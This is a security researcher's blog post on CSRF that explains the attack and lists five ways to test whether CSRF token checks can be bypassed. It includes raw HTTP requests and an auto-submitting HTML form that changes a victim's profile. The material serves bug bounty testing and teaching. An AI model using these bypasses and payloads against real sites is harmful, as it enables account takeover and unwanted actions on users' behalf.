My methodology to bypass CSRF token with 5 Methods

5 min readJul 19, 2023

Hello folks!
My name is Abdelhy khaled, I am Security Researcher & Bug Bounty Hunter in this blog i will show my methodology to bypass csrf token with 5 different methods

What is Cross-Site Request Forgery (CSRF)?

Cross site request forgery is a web application vulnerability attack vector that basically tricks the web browser into performing an undesired action in a vulnerable application to which a user is already logged in. A proper successful CSRF attack can be disastrous to both the user and the organisation. CSRF attacks can result in email change , password resets , profile updates , account takeovers. CSRF’s are most typically conducted by the use of social engineering such as sending the user an email or message with our CSRF html link.

How does CSRF work actually ?

There are some conditions for a CSRF attack to be possible :

An Action : There should be an API call or POST request that an attacker can take advantage of. The action can be anything like email changing , password reset , profile update , 2FA enabling etc..
Cookie based Session Handling : The application must rely on the session cookies to identify which user made the request. There should be no other protection in place to track user’s request or any kind of protection like asking secret questions for an update.
No Token Parameters : The requests that perform the requests do not contain any parameters which contains values that an attacker cannot guess or brute force. Example: If you are going to enable 2FA then the application is likely going to ask you to confirm your password, so in that case the attacker would not be able to successfully use CSRF because of not knowing the password.

Let’s take the below request as an example:


POST /profile/edit HTTP/1.1
Host: trget.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Cookie: session=xxxxxxxxxxxxxxxxxxxx

first_name=cysky0x1

If you look in the above request , we can see that there is no kind of token available for this post request which is being sent to the server. This is where the CSRF attack vectors actually raise. The above request is basically letting the user update his profile but what an attacker can do now is , he can make a HTML document as below

<html>
  <body>
    <form action="https://redacted.com/profile/edit” method="POST">
      <input type="hidden" name=“first_”name value=“Attacker” />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

Now, all the attacker has to do is make this HTML document as game.html and host this on a domain and send it to the victim as a SMS or email. Once the user clicks on the link and he is logged in to the application already then his profile’s first_name will automatically get updated to “Attacker”

Bypass CSRF Protection

Let’s take the below request for this section:

POST /account/users/new HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

_token=ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all

Bypass Method-1

You can remove the CSRF token from the checking parameter and forward the request. I have seen many applications have a CSRF token enabled but they do not validate if the parameter is actually filled with the CSRF token.

So, the request is going to become like this:

POST /account/users/new HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; 
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 125
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close
_token=&name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all

Bypass Method-2

You can use other user’s CSRF token i.e all you have to do is create a new account and intercept the same request which is profile edit and copy the CSRF token from that request and paste that CSRF token in the first request and see if the server is actually validating if the CSRF token actually belongs to that particular user or not.

Suppose User 1 CSRF Token is : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG

Suppose User 2 CSRF Token is : ES49jfXwQmExuz2SJGF91PK5WfMVu5sBOGgzqqvn

Now, what you have to do is copy the User 2 CSRF token and paste that token in User 1 Profile edit request and forward the request and see if the server is validating or not. If the server is actually not validating then voila you have successfully bypass csrf protection and can conduct your CSRF attacks.

Bypass Method-3

You can see that most of the Profile edits, password resets and 2FA enabling are POST requests but what we are going to do in this bypass is basically changing the request type to GET and removing the CSRF token parameter and forward the request.

So, the request should ultimately like the below:

GET /account/users/new?name=none&email=tester%40gmail.com&password=testingcsrf&permissions%5B%5D=all HTTP/1.1
Host: redacted.com
Cookie: _ga_97CDT2HN2H=GS1.1.1641786054.8.0.1641786061.0; _ga=GA1.1.1583877464.1641386639; XSRF-TOKEN=eyJpdiI6IjNCNVJvN0hYekptSzlmQjZkVG9jcVE9PSIsInZhbHVlIjoiZ2h0MEo2S1M3K3NlUlFxdkZ3NUpWNHcvTkNmNEd6bUpsd3ErbzZoSG9pZytPd2tXN0JEenV3OStIYVpRS3kvajloRGs0WEhxQkxOcTNFWWNSNnhrNkVreEp5cTkzNU1VVW1IeDl5ZldQNEhUZ0RIL1NwOGpLVk9MckgvTzVLZ0EiLCJtYWMiOiIwNzlmZWVjYWYxOTRkNTY1MzQ1MTVlZTRlYWI3MDhiYjQ0MjNkN2JjN2I0M2EzZWI1MDEyOWQ2MWQyM2RlNGIwIiwidGFnIjoiIn0%3D; 
User-Agent: Mozilla/5.0 (X11; Linux aarch64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Origin: https://redacted.com
Referer: https://redacted.com/account/users
Upgrade-Insecure-Requests: 1
Te: trailers
Connection: close

Bypass Method-4

Add random text in the CSRF token and check if the server is validating it or not. So all you have to do is this :

Real CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG

Malformed CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxGrandom

Now, you just have to use the malformed cstf token in your request and check for server validation. If you are lucky and the server does not validate then you have successfully bypass csrf protection and can execute your CSRF attacks.

Bypass Method-5

Many Web applications use a Static and Dynamic part CSRF token i.e take the below example

CSRF Token : ZkfcxrWQ9CeoefwlwXuIXofKB6Vnk6t7jA9n2zxG

In this CSRF token , the first 20 characters are static i.e they are same for all the users registered on the Web application and the next 20 characters are dynamic which means the last 20 characters are different for all the users. So what you can do is keep the static characters of the CSRF token same and use random text for the dynamic 20 characters. If the server is accepting the CSRF token then you have successfully bypass CSRF Protection.

Bonus Tips

Check for Token randomness and use BURP to automate this randomness test process and see if the token is weak or not and try to crack it. Remember to also see if the CSRF token is just a normal hash token like MD5 and if it’s actually a common algorithm then you can try creating new token using that hash algorithm and replace the token. Try changing User-Agent to Mobile User agent and see if the request is accepted.

Thank you for taking the time to read this piece. Kindly remember to leave a comment sharing your thoughts on the blog.

Feed | LinkedIn — My LinkedIn Profile